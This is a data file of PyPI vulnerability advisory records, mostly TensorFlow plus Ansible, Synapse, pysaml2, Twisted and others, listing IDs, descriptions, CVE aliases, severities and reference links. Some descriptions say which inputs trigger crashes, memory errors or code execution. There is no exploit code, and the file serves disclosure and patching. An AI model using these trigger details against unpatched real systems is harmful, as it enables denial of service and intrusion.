PyPI | PYSEC-2022-75 | null | Tensorflow is an Open Source Machine Learning Framework. TensorFlow is vulnerable to a heap OOB write in `Grappler`. The `set_output` function writes to an array at the specified index. Hence, this gives a malicious user a write primitive. The fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range. | {'CVE-2022-23566', 'GHSA-5qw5-89mw-wcg2'} | 2022-03-09T00:17:33.179728Z | 2022-02-04T23:15:00Z | null | null | null | {'https://github.com/tensorflow/tensorflow/blob/a1320ec1eac186da1d03f033109191f715b2b130/tensorflow/core/framework/shape_inference.h#L394', 'https://github.com/tensorflow/tensorflow/commit/97282c6d0d34476b6ba033f961590b783fa184cd', 'https://github.com/tensorflow/tensorflow/blob/a1320ec1eac186da1d03f033109191f715b2b130/tensorflow/core/grappler/costs/graph_properties.cc#L1132-L1141', 'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-5qw5-89mw-wcg2'} | null |
PyPI | PYSEC-2019-115 | null | python-gnupg 0.4.3 allows context-dependent attackers to trick gnupg to decrypt other ciphertext than intended. To perform the attack, the passphrase to gnupg must be controlled by the adversary and the ciphertext should be trusted. Related to a "CWE-20: Improper Input Validation" issue affecting the affect functionality component. | {'GHSA-qh62-ch95-63wh', 'GHSA-2fch-jvg5-crf6', 'CVE-2019-6690'} | 2020-07-13T04:15:00Z | 2019-03-21T16:01:00Z | null | null | null | {'https://usn.ubuntu.com/3964-1/', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/W6KYZMN2PWXY4ENZVJUVTGFBVYEVY7II/', 'https://lists.debian.org/debian-lts-announce/2019/02/msg00021.html', 'http://lists.opensuse.org/opensuse-security-announce/2019-02/msg00058.html', 'http://lists.opensuse.org/opensuse-security-announce/2019-02/msg00008.html', 'https://pypi.org/project/python-gnupg/#history', 'https://seclists.org/bugtraq/2019/Jan/41', 'http://packetstormsecurity.com/files/151341/Python-GnuPG-0.4.3-Improper-Input-Validation.html', 'https://blog.hackeriet.no/cve-2019-6690-python-gnupg-vulnerability/', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/X4VFRUG56542LTYK4444TPJBGR57MT25/', 'https://github.com/advisories/GHSA-qh62-ch95-63wh', 'http://www.securityfocus.com/bid/106756', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/3WMV6XNPPL3VB3RQRFFOBCJ3AGWC4K47/', 'https://github.com/advisories/GHSA-2fch-jvg5-crf6'} | null |
PyPI | PYSEC-2018-115 | null | Directory traversal vulnerability in Jubatus 1.0.2 and earlier allows remote attackers to read arbitrary files via unspecified vectors. | {'CVE-2018-0525'} | 2021-12-14T08:16:39.461991Z | 2018-03-09T16:29:00Z | null | null | null | {'https://nvd.nist.gov/vuln/detail/CVE-2018-0525', 'https://pypi.org/project/jubatus', 'https://jvn.jp/en/jp/JVN56132776/index.html', 'https://github.com/jubatus/jubatus/blob/master/ChangeLog.rst'} | null |
PyPI | GHSA-4822-jvwx-w47h | Uncontrolled Resource Consumption in Matrix Synapse | ### Impact
Synapse before 1.52.0 with URL preview functionality enabled will attempt to generate URL previews for media stream URLs without properly limiting connection time. Connections will only be terminated after `max_spider_size` (default: 10M) bytes have been downloaded, which can in some cases lead to long-lived connections towards the streaming media server (for instance, Icecast).
This can cause excessive traffic and connections toward such servers if their stream URL is, for example, posted to a large room with many Synapse instances with URL preview enabled.
### Patches
1.52.0 implements a timeout mechanism which will terminate URL preview connections after 30 seconds. Since generating URL previews for media streams is not supported and always fails, 1.53.0 additionally implements an allow list for content types for which Synapse will even attempt to generate a URL preview.
We recommend upgrading to 1.53.0 to fully resolve the issue.
### Workarounds
Turn off URL preview functionality by setting `url_preview_enabled: false` in the Synapse configuration file.
### References
- Patch (timeout): https://github.com/matrix-org/synapse/pull/11784
- Patch (content type allow list): https://github.com/matrix-org/synapse/pull/11936
### For more information
If you have any questions or comments about this advisory, e-mail us at security@matrix.org.
| null | 2022-04-01T18:30:20.267658Z | 2022-04-01T18:16:42Z | MODERATE | null | {'CWE-400'} | {'https://github.com/matrix-org/synapse/security/advisories/GHSA-4822-jvwx-w47h', 'https://github.com/matrix-org/synapse/pull/11784', 'https://github.com/matrix-org/synapse/pull/11936', 'https://github.com/matrix-org/synapse/releases/tag/v1.53.0', 'https://github.com/matrix-org/synapse/releases/tag/v1.52.0', 'https://github.com/matrix-org/synapse'} | null |
PyPI | PYSEC-2021-446 | null | TensorFlow is an end-to-end open source platform for machine learning. In eager mode (default in TF 2.0 and later), session operations are invalid. However, users could still call the raw ops associated with them and trigger a null pointer dereference. The implementation(https://github.com/tensorflow/tensorflow/blob/eebb96c2830d48597d055d247c0e9aebaea94cd5/tensorflow/core/kernels/session_ops.cc#L104) dereferences the session state pointer without checking if it is valid. Thus, in eager mode, `ctx->session_state()` is nullptr and the call of the member function is undefined behavior. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range. | {'GHSA-62gx-355r-9fhg', 'CVE-2021-29518'} | 2021-12-09T06:34:46.214930Z | 2021-05-14T20:15:00Z | null | null | null | {'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-62gx-355r-9fhg', 'https://github.com/tensorflow/tensorflow/commit/ff70c47a396ef1e3cb73c90513da4f5cb71bebba'} | null |
PyPI | PYSEC-2020-295 | null | In Tensorflow before version 2.4.0, an attacker can pass an invalid `axis` value to `tf.quantization.quantize_and_dequantize`. This results in accessing a dimension outside the rank of the input tensor in the C++ kernel implementation. However, dim_size only does a DCHECK to validate the argument and then uses it to access the corresponding element of an array. Since in normal builds, `DCHECK`-like macros are no-ops, this results in segfault and access out of bounds of the array. The issue is patched in eccb7ec454e6617738554a255d77f08e60ee0808 and TensorFlow 2.4.0 will be released containing the patch. TensorFlow nightly packages after this commit will also have the issue resolved. | {'GHSA-rrfp-j2mp-hq9c', 'CVE-2020-15265'} | 2021-12-09T06:34:43.980213Z | 2020-10-21T21:15:00Z | null | null | null | {'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-rrfp-j2mp-hq9c', 'https://github.com/tensorflow/tensorflow/issues/42105', 'https://github.com/tensorflow/tensorflow/commit/eccb7ec454e6617738554a255d77f08e60ee0808'} | null |
PyPI | PYSEC-2017-12 | null | Dulwich before 0.18.5, when an SSH subprocess is used, allows remote attackers to execute arbitrary commands via an ssh URL with an initial dash character in the hostname, a related issue to CVE-2017-9800, CVE-2017-12836, CVE-2017-12976, CVE-2017-1000116, and CVE-2017-1000117. | {'CVE-2017-16228'} | 2021-07-05T00:01:21.470158Z | 2017-10-29T20:29:00Z | null | null | null | {'https://tracker.debian.org/news/882440', 'https://www.dulwich.io/code/dulwich/commit/7116a0cbbda571f7dac863f4b1c00b6e16d6d8d6/', 'https://www.dulwich.io/code/dulwich/'} | null |
PyPI | PYSEC-2021-295 | null | TensorFlow is an end-to-end open source platform for machine learning. In affected versions an attacker can trigger a denial of service via a `CHECK`-fail in `tf.raw_ops.MapStage`. The [implementation](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/kernels/map_stage_op.cc#L513) does not check that the `key` input is a valid non-empty tensor. We have patched the issue in GitHub commit d7de67733925de196ec8863a33445b73f9562d1d. The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range. | {'CVE-2021-37673', 'GHSA-278g-rq84-9hmg'} | 2021-08-27T03:22:46.123018Z | 2021-08-12T23:15:00Z | null | null | null | {'https://github.com/tensorflow/tensorflow/commit/d7de67733925de196ec8863a33445b73f9562d1d', 'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-278g-rq84-9hmg'} | null |
PyPI | PYSEC-2021-65 | null | GramAddict through 1.2.3 allows remote attackers to execute arbitrary code because of use of UIAutomator2 and ATX-Agent. The attacker must be able to reach TCP port 7912, e.g., by being on the same Wi-Fi network. | {'CVE-2020-36245'} | 2021-02-24T13:58:00Z | 2021-02-17T22:15:00Z | null | null | null | {'https://github.com/GramAddict/bot/issues/134'} | null |
PyPI | GHSA-5p3x-r448-pc62 | Improper Verification of Cryptographic Signature in PySAML2 | ### Impact
All users of pysaml2 that use the default `CryptoBackendXmlSec1` backend and need to verify signed SAML documents are impacted. `pysaml2 <= 6.4.1` does not ensure that a signed SAML document is correctly signed. The default `CryptoBackendXmlSec1` backend is using the `xmlsec1` binary to verify the signature of signed SAML documents, but by default, `xmlsec1` accepts any type of key found within the given document. `xmlsec1` needs to be configured explicitly to only use only _x509 certificates_ for the verification process of the SAML document signature.
### Patches
Users should upgrade to pysaml2 `v6.5.0`.
### Workarounds
No workaround provided at this point.
### References
This issue has been reported in the past at the xmlsec1 mailing list:
https://www.aleksey.com/pipermail/xmlsec/2013/009717.html
### Credits
- Brian Wolff
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [pysaml2](https://github.com/IdentityPython/pysaml2)
* Email us at [the incident-response address](mailto:incident-response@idpy.org) | {'CVE-2021-21239'} | 2022-03-03T05:12:33.192423Z | 2021-01-21T14:12:18Z | LOW | null | {'CWE-347'} | {'https://github.com/IdentityPython/pysaml2/releases/tag/v6.5.0', 'https://www.aleksey.com/pipermail/xmlsec/2013/009717.html', 'https://nvd.nist.gov/vuln/detail/CVE-2021-21239', 'https://lists.debian.org/debian-lts-announce/2021/02/msg00038.html', 'https://pypi.org/project/pysaml2', 'https://github.com/IdentityPython/pysaml2/security/advisories/GHSA-5p3x-r448-pc62', 'https://github.com/IdentityPython/pysaml2/commit/46578df0695269a16f1c94171f1429873f90ed99'} | null |
PyPI | PYSEC-2021-780 | null | TensorFlow is an end-to-end open source platform for machine learning. In affected versions an attacker can cause denial of service in applications serving models using `tf.raw_ops.NonMaxSuppressionV5` by triggering a division by 0. The [implementation](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/kernels/image/non_max_suppression_op.cc#L170-L271) uses a user controlled argument to resize a `std::vector`. However, as `std::vector::resize` takes the size argument as a `size_t` and `output_size` is an `int`, there is an implicit conversion to unsigned. If the attacker supplies a negative value, this conversion results in a crash. A similar issue occurs in `CombinedNonMaxSuppression`. We have patched the issue in GitHub commit 3a7362750d5c372420aa8f0caf7bf5b5c3d0f52d and commit [b5cdbf12ffcaaffecf98f22a6be5a64bb96e4f58. The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range. | {'GHSA-vmjw-c2vp-p33c', 'CVE-2021-37669'} | 2021-12-09T06:35:38.342648Z | 2021-08-12T23:15:00Z | null | null | null | {'https://github.com/tensorflow/tensorflow/commit/b5cdbf12ffcaaffecf98f22a6be5a64bb96e4f58', 'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-vmjw-c2vp-p33c', 'https://github.com/tensorflow/tensorflow/commit/3a7362750d5c372420aa8f0caf7bf5b5c3d0f52d'} | null |
PyPI | GHSA-pg59-2f92-5cph | Heap buffer overflow in Tensorflow | ### Impact
The `SparseCountSparseOutput` and `RaggedCountSparseOutput` implementations don't validate that the `weights` tensor has the same shape as the data. The check exists for `DenseCountSparseOutput`, where both tensors are fully specified:
https://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/core/kernels/count_ops.cc#L110-L117
In the sparse and ragged count weights are still accessed in parallel with the data:
https://github.com/tensorflow/tensorflow/blob/0e68f4d3295eb0281a517c3662f6698992b7b2cf/tensorflow/core/kernels/count_ops.cc#L199-L201
But, since there is no validation, a user passing fewer weights than the values for the tensors can generate a read from outside the bounds of the heap buffer allocated for the weights.
### Patches
We have patched the issue in 3cbb917b4714766030b28eba9fb41bb97ce9ee02 and will release a patch release.
We recommend users to upgrade to TensorFlow 2.3.1.
### For more information
Please consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.
### Attribution
This vulnerability is a variant of [GHSA-p5f8-gfw5-33w4](https://github.com/tensorflow/tensorflow/security/advisories/GHSA-p5f8-gfw5-33w4) | {'CVE-2020-15196'} | 2021-08-26T15:11:34Z | 2020-09-25T18:28:21Z | HIGH | null | {'CWE-125', 'CWE-119', 'CWE-122'} | {'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-pg59-2f92-5cph', 'https://github.com/tensorflow/tensorflow', 'https://github.com/tensorflow/tensorflow/releases/tag/v2.3.1', 'https://github.com/tensorflow/tensorflow/commit/3cbb917b4714766030b28eba9fb41bb97ce9ee02', 'https://nvd.nist.gov/vuln/detail/CVE-2020-15196'} | null |
PyPI | GHSA-5p9j-w2wx-qx4c | Open Redirect in django-spirit | django-spirit prior to version 0.12.3 is vulnerable to open redirect. In the /user/login endpoint, it doesn't check the value of the next parameter when the user is logged in and passes it directly to redirect which result to open redirect. This also affects /user/logout, /user/register, /user/login, /user/resend-activation. | {'CVE-2022-0869'} | 2022-03-14T21:31:59.838702Z | 2022-03-07T00:00:40Z | MODERATE | null | {'CWE-601'} | {'https://huntr.dev/bounties/ed335a88-f68c-4e4d-ac85-f29a51b03342', 'https://github.com/nitely/spirit', 'https://nvd.nist.gov/vuln/detail/CVE-2022-0869', 'https://github.com/nitely/spirit/commit/8f32f89654d6c30d56e0dd167059d32146fb32ef'} | null |
PyPI | PYSEC-2018-37 | null | A flaw was found in Ansible before version 2.2.0. The apt_key module does not properly verify key fingerprints, allowing remote adversary to create an OpenPGP key which matches the short key ID and inject this key instead of the correct key. | {'CVE-2016-8614', 'GHSA-cmwx-9m2h-x7v4'} | 2021-07-02T02:41:33.569568Z | 2018-07-31T21:29:00Z | null | null | null | {'http://www.securityfocus.com/bid/94108', 'https://github.com/ansible/ansible-modules-core/pull/5353', 'https://github.com/ansible/ansible-modules-core/issues/5237', 'https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2016-8614', 'https://github.com/advisories/GHSA-cmwx-9m2h-x7v4', 'https://github.com/ansible/ansible-modules-core/pull/5357'} | null |
PyPI | GHSA-72cx-5ff9-4hhc | Cross-site scripting in markdown2 for python | python-markdown2 before 1.0.1.14 has multiple cross-site scripting (XSS) issues. | {'CVE-2009-3724'} | 2022-04-26T20:30:06.246401Z | 2022-04-21T01:54:03Z | MODERATE | null | {'CWE-79'} | {'https://github.com/trentm/python-markdown2', 'https://nvd.nist.gov/vuln/detail/CVE-2009-3724', 'https://www.openwall.com/lists/oss-security/2009/10/29/5'} | null |
PyPI | PYSEC-2020-145 | null | Python TUF (The Update Framework) reference implementation before version 0.12 it will incorrectly trust a previously downloaded root metadata file which failed verification at download time. This allows an attacker who is able to serve multiple new versions of root metadata (i.e. by a person-in-the-middle attack) culminating in a version which has not been correctly signed to control the trust chain for future updates. This is fixed in version 0.12 and newer. | {'GHSA-f8mr-jv2c-v8mg', 'CVE-2020-15163'} | 2020-09-15T17:35:00Z | 2020-09-09T18:15:00Z | null | null | null | {'https://pypi.org/project/tuf', 'https://github.com/theupdateframework/tuf/pull/885', 'https://github.com/theupdateframework/tuf/commit/3d342e648fbacdf43a13d7ba8886aaaf07334af7', 'https://github.com/theupdateframework/tuf/releases/tag/v0.12.0', 'https://github.com/theupdateframework/tuf/security/advisories/GHSA-f8mr-jv2c-v8mg'} | null |
PyPI | PYSEC-2021-846 | null | TensorFlow is an open source platform for machine learning. In affected versions the implementation of `tf.math.segment_*` operations results in a `CHECK`-fail related abort (and denial of service) if a segment id in `segment_ids` is large. This is similar to CVE-2021-29584 (and similar other reported vulnerabilities in TensorFlow, localized to specific APIs): the implementation (both on CPU and GPU) computes the output shape using `AddDim`. However, if the number of elements in the tensor overflows an `int64_t` value, `AddDim` results in a `CHECK` failure which provokes a `std::abort`. Instead, code should use `AddDimWithStatus`. The fix will be included in TensorFlow 2.7.0. We will also cherrypick this commit on TensorFlow 2.6.1, TensorFlow 2.5.2, and TensorFlow 2.4.4, as these are also affected and still in supported range. | {'GHSA-cq76-mxrc-vchh', 'CVE-2021-41195'} | 2021-12-13T06:20:52.754328Z | 2021-11-05T20:15:00Z | null | null | null | {'https://github.com/tensorflow/tensorflow/pull/51733', 'https://github.com/tensorflow/tensorflow/issues/46888', 'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-cq76-mxrc-vchh', 'https://github.com/tensorflow/tensorflow/commit/e9c81c1e1a9cd8dd31f4e83676cab61b60658429'} | null |
PyPI | PYSEC-2017-3 | null | The chroot, jail, and zone connection plugins in ansible before 1.9.2 allow local users to escape a restricted environment via a symlink attack. | {'CVE-2015-6240'} | 2021-07-02T02:41:33.471109Z | 2017-06-07T20:29:00Z | null | null | null | {'https://bugzilla.redhat.com/show_bug.cgi?id=1243468', 'https://lists.debian.org/debian-lts-announce/2019/09/msg00016.html', 'http://www.openwall.com/lists/oss-security/2015/08/17/10', 'https://github.com/ansible/ansible/commit/ca2f2c4ebd7b5e097eab0a710f79c1f63badf95b', 'https://github.com/ansible/ansible/commit/952166f48eb0f5797b75b160fd156bbe1e8fc647'} | null |
PyPI | PYSEC-2016-29 | null | The binary delta decoder in Mercurial before 3.7.3 allows remote attackers to execute arbitrary code via a (1) clone, (2) push, or (3) pull command, related to (a) a list sizing rounding error and (b) short records. | {'CVE-2016-3630'} | 2021-08-27T03:22:06.971468Z | 2016-04-13T16:59:00Z | null | null | null | {'https://selenic.com/repo/hg-stable/rev/b6ed2505d6cf', 'http://lists.opensuse.org/opensuse-security-announce/2016-04/msg00018.html', 'http://www.debian.org/security/2016/dsa-3542', 'http://lists.opensuse.org/opensuse-security-announce/2016-04/msg00016.html', 'https://security.gentoo.org/glsa/201612-19', 'http://lists.fedoraproject.org/pipermail/package-announce/2016-April/181542.html', 'http://www.oracle.com/technetwork/topics/security/bulletinapr2016-2952098.html', 'http://lists.fedoraproject.org/pipermail/package-announce/2016-April/181505.html', 'http://lists.opensuse.org/opensuse-security-announce/2016-04/msg00017.html', 'http://lists.opensuse.org/opensuse-security-announce/2016-04/msg00043.html', 'https://selenic.com/repo/hg-stable/rev/b9714d958e89', 'https://www.mercurial-scm.org/wiki/WhatsNew#Mercurial_3.7.3_.282016-3-29.29'} | null |
PyPI | PYSEC-2014-14 | null | Requests (aka python-requests) before 2.3.0 allows remote servers to obtain sensitive information by reading the Proxy-Authorization header in a redirected request. | {'CVE-2014-1830'} | 2021-07-05T00:01:25.679942Z | 2014-10-15T14:55:00Z | null | null | null | {'http://advisories.mageia.org/MGASA-2014-0409.html', 'https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=733108', 'http://lists.opensuse.org/opensuse-updates/2016-01/msg00095.html', 'http://www.mandriva.com/security/advisories?name=MDVSA-2015:133', 'http://www.debian.org/security/2015/dsa-3146', 'https://github.com/kennethreitz/requests/issues/1885'} | null |
PyPI | GHSA-h96w-mmrf-2h6v | Improper Input Validation in Twisted | In Twisted Web through 20.3.0, there was an HTTP request splitting vulnerability. When presented with two content-length headers, it ignored the first header. When the second content-length value was set to zero, the request body was interpreted as a pipelined request. | {'CVE-2020-10108'} | 2022-04-04T21:16:52.227928Z | 2020-03-31T15:42:42Z | CRITICAL | null | {'CWE-20', 'CWE-444'} | {'https://github.com/twisted/twisted/blob/6ff2c40e42416c83203422ff70dfc49d2681c8e2/NEWS.rst#twisted-2030-2020-03-13', 'https://usn.ubuntu.com/4308-1/', 'https://nvd.nist.gov/vuln/detail/CVE-2020-10108', 'https://security.gentoo.org/glsa/202007-24', 'https://know.bishopfox.com/advisories/twisted-version-19.10.0', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/6ISMZFZBWW4EV6ETJGXAYIXN3AT7GBPL/', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/YW3NIL7VXSGJND2Q4BSXM3CFTAFU6T7D/', 'https://lists.debian.org/debian-lts-announce/2022/02/msg00021.html', 'https://usn.ubuntu.com/4308-2/', 'https://github.com/twisted/twisted', 'https://www.oracle.com/security-alerts/cpuoct2020.html'} | null |
PyPI | PYSEC-2021-515 | null | TensorFlow is an end-to-end open source platform for machine learning. The `Prepare` step of the `SpaceToDepth` TFLite operator does not check for 0 before division(https://github.com/tensorflow/tensorflow/blob/5f7975d09eac0f10ed8a17dbb6f5964977725adc/tensorflow/lite/kernels/space_to_depth.cc#L63-L67). An attacker can craft a model such that `params->block_size` would be zero. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range. | {'CVE-2021-29587', 'GHSA-j7rm-8ww4-xx2g'} | 2021-12-09T06:34:56.873016Z | 2021-05-14T20:15:00Z | null | null | null | {'https://github.com/tensorflow/tensorflow/commit/0d45ea1ca641b21b73bcf9c00e0179cda284e7e7', 'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-j7rm-8ww4-xx2g'} | null |
PyPI | GHSA-4fx9-vc88-q2xc | Infinite loop in Pillow | JpegImagePlugin may append an EOF marker to the end of a truncated file, so that the last segment of the data will still be processed by the decoder.
If the EOF marker is not detected as such however, this could lead to an infinite loop where JpegImagePlugin keeps trying to end the file. | null | 2022-03-11T23:47:55.619705Z | 2022-03-11T23:39:27Z | LOW | null | {'CWE-400'} | {'https://github.com/python-pillow/Pillow/commit/baae9ec4b67c68e3adaf1208cf54e8de5e38a6fd', 'https://github.com/python-pillow/Pillow', 'https://pillow.readthedocs.io/en/stable/releasenotes/9.0.0.html#ensure-jpegimageplugin-stops-at-the-end-of-a-truncated-file'} | null |
PyPI | PYSEC-2021-145 | null | XML External Entities (XXE) in Quokka v0.4.0 allows remote attackers to execute arbitrary code via the component 'quokka/core/content/views.py'. | {'CVE-2020-18705', 'GHSA-4q2r-qxp6-h5j6'} | 2021-08-27T03:22:19.070898Z | 2021-08-16T18:15:00Z | null | null | null | {'https://github.com/advisories/GHSA-4q2r-qxp6-h5j6', 'https://github.com/rochacbruno/quokka/issues/676'} | null |
PyPI | PYSEC-2021-450 | null | TensorFlow is an end-to-end open source platform for machine learning. The `tf.raw_ops.Conv3DBackprop*` operations fail to validate that the input tensors are not empty. In turn, this would result in a division by 0. This is because the implementation(https://github.com/tensorflow/tensorflow/blob/a91bb59769f19146d5a0c20060244378e878f140/tensorflow/core/kernels/conv_grad_ops_3d.cc#L430-L450) does not check that the divisor used in computing the shard size is not zero. Thus, if attacker controls the input sizes, they can trigger a denial of service via a division by zero error. The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range. | {'CVE-2021-29522', 'GHSA-c968-pq7h-7fxv'} | 2021-12-09T06:34:46.764419Z | 2021-05-14T20:15:00Z | null | null | null | {'https://github.com/tensorflow/tensorflow/commit/311403edbc9816df80274bd1ea8b3c0c0f22c3fa', 'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-c968-pq7h-7fxv'} | null |
PyPI | GHSA-rh6x-qvg7-rrmj | High severity vulnerability that affects ansible | The create_script function in the lxc_container module in Ansible before 1.9.6-1 and 2.x before 2.0.2.0 allows local users to write to arbitrary files or gain privileges via a symlink attack on (1) /opt/.lxc-attach-script, (2) the archived container in the archive_path directory, or the (3) lxc-attach-script.log or (4) lxc-attach-script.err files in the temporary directory. | {'CVE-2016-3096'} | 2022-03-03T05:12:52.746777Z | 2018-10-10T17:23:45Z | HIGH | null | {'CWE-59'} | {'https://nvd.nist.gov/vuln/detail/CVE-2016-3096', 'https://github.com/ansible/ansible', 'https://github.com/advisories/GHSA-rh6x-qvg7-rrmj'} | null |
PyPI | PYSEC-2018-103 | null | ymlref allows code injection. | {'CVE-2018-20133', 'GHSA-8r8j-xvfj-36f9'} | 2021-09-26T23:33:39.795406Z | 2018-12-17T19:29:00Z | null | null | null | {'https://github.com/advisories/GHSA-8r8j-xvfj-36f9', 'https://github.com/dexter2206/ymlref/issues/2'} | null |
PyPI | GHSA-fw99-f933-rgh8 | Out-of-bounds Read and Out-of-bounds Write in OpenCV | An issue was discovered in OpenCV before 3.4.7 and 4.x before 4.1.1 (OpenCV-Python before 3.4.7.28 and 4.x before 4.1.1.26). There is an out of bounds read/write in the function HaarEvaluator::OptFeature::calc in modules/objdetect/src/cascadedetect.hpp, which leads to denial of service. | {'CVE-2019-14492'} | 2022-03-03T05:14:18.233741Z | 2021-10-12T22:09:31Z | HIGH | null | {'CWE-787', 'CWE-125'} | {'https://github.com/opencv/opencv/compare/371bba8...ddbd10c', 'https://nvd.nist.gov/vuln/detail/CVE-2019-14492', 'https://github.com/opencv/opencv/issues/15124', 'http://lists.opensuse.org/opensuse-security-announce/2019-12/msg00025.html', 'https://github.com/opencv/opencv/compare/33b765d...4a7ca5a', 'https://github.com/opencv/opencv-python'} | null |
PyPI | PYSEC-2019-103 | null | KeyIdentity LinOTP before 2.10.5.3 has Incorrect Access Control (issue 1 of 2). | {'CVE-2019-12887'} | 2020-08-24T17:37:00Z | 2019-06-27T14:15:00Z | null | null | null | {'https://www.linotp.org/CVE-2019-12887.txt'} | null |
PyPI | PYSEC-2022-63 | null | Tensorflow is an Open Source Machine Learning Framework. The implementation of `QuantizedMaxPool` has an undefined behavior where user controlled inputs can trigger a reference binding to null pointer. The fix will be included in TensorFlow 2.8.0. We will also cherrypick this commit on TensorFlow 2.7.1, TensorFlow 2.6.3, and TensorFlow 2.5.3, as these are also affected and still in supported range. | {'GHSA-3mw4-6rj6-74g5', 'CVE-2022-21739'} | 2022-03-09T00:17:31.682282Z | 2022-02-03T14:15:00Z | null | null | null | {'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-3mw4-6rj6-74g5', 'https://github.com/tensorflow/tensorflow/commit/53b0dd6dc5957652f35964af16b892ec9af4a559', 'https://github.com/tensorflow/tensorflow/blob/5100e359aef5c8021f2e71c7b986420b85ce7b3d/tensorflow/core/kernels/quantized_pooling_ops.cc#L114-L130'} | null |
PyPI | PYSEC-2021-329 | null | An issue was discovered in the routes middleware in OpenStack Neutron before 16.4.1, 17.x before 17.2.1, and 18.x before 18.1.1. By making API requests involving nonexistent controllers, an authenticated user may cause the API worker to consume increasing amounts of memory, resulting in API performance degradation or denial of service. | {'CVE-2021-40797'} | 2021-09-23T00:11:02.378195Z | 2021-09-08T20:15:00Z | null | null | null | {'https://launchpad.net/bugs/1942179', 'https://security.openstack.org/ossa/OSSA-2021-006.html', 'http://www.openwall.com/lists/oss-security/2021/09/09/2'} | null |
PyPI | PYSEC-2021-779 | null | TensorFlow is an end-to-end open source platform for machine learning. In affected versions an attacker can cause denial of service in applications serving models using `tf.raw_ops.UnravelIndex` by triggering a division by 0. The [implementation](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/kernels/unravel_index_op.cc#L36) does not check that the tensor subsumed by `dims` is not empty. Hence, if one element of `dims` is 0, the implementation does a division by 0. We have patched the issue in GitHub commit a776040a5e7ebf76eeb7eb923bf1ae417dd4d233. The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range. | {'CVE-2021-37668', 'GHSA-2wmv-37vq-52g5'} | 2021-12-09T06:35:38.256317Z | 2021-08-12T23:15:00Z | null | null | null | {'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-2wmv-37vq-52g5', 'https://github.com/tensorflow/tensorflow/commit/a776040a5e7ebf76eeb7eb923bf1ae417dd4d233'} | null |
PyPI | PYSEC-2021-283 | null | TensorFlow is an end-to-end open source platform for machine learning. In affected versions an attacker can cause a denial of service in `boosted_trees_create_quantile_stream_resource` by using negative arguments. The [implementation](https://github.com/tensorflow/tensorflow/blob/84d053187cb80d975ef2b9684d4b61981bca0c41/tensorflow/core/kernels/boosted_trees/quantile_ops.cc#L96) does not validate that `num_streams` only contains non-negative numbers. In turn, [this results in using this value to allocate memory](https://github.com/tensorflow/tensorflow/blob/84d053187cb80d975ef2b9684d4b61981bca0c41/tensorflow/core/kernels/boosted_trees/quantiles/quantile_stream_resource.h#L31-L40). However, `reserve` receives an unsigned integer so there is an implicit conversion from a negative value to a large positive unsigned. This results in a crash from the standard library. We have patched the issue in GitHub commit 8a84f7a2b5a2b27ecf88d25bad9ac777cd2f7992. The fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range. | {'CVE-2021-37661', 'GHSA-gf88-j2mg-cc82'} | 2021-08-27T03:22:45.010979Z | 2021-08-12T21:15:00Z | null | null | null | {'https://github.com/tensorflow/tensorflow/security/advisories/GHSA-gf88-j2mg-cc82', 'https://github.com/tensorflow/tensorflow/commit/8a84f7a2b5a2b27ecf88d25bad9ac777cd2f7992'} | null |
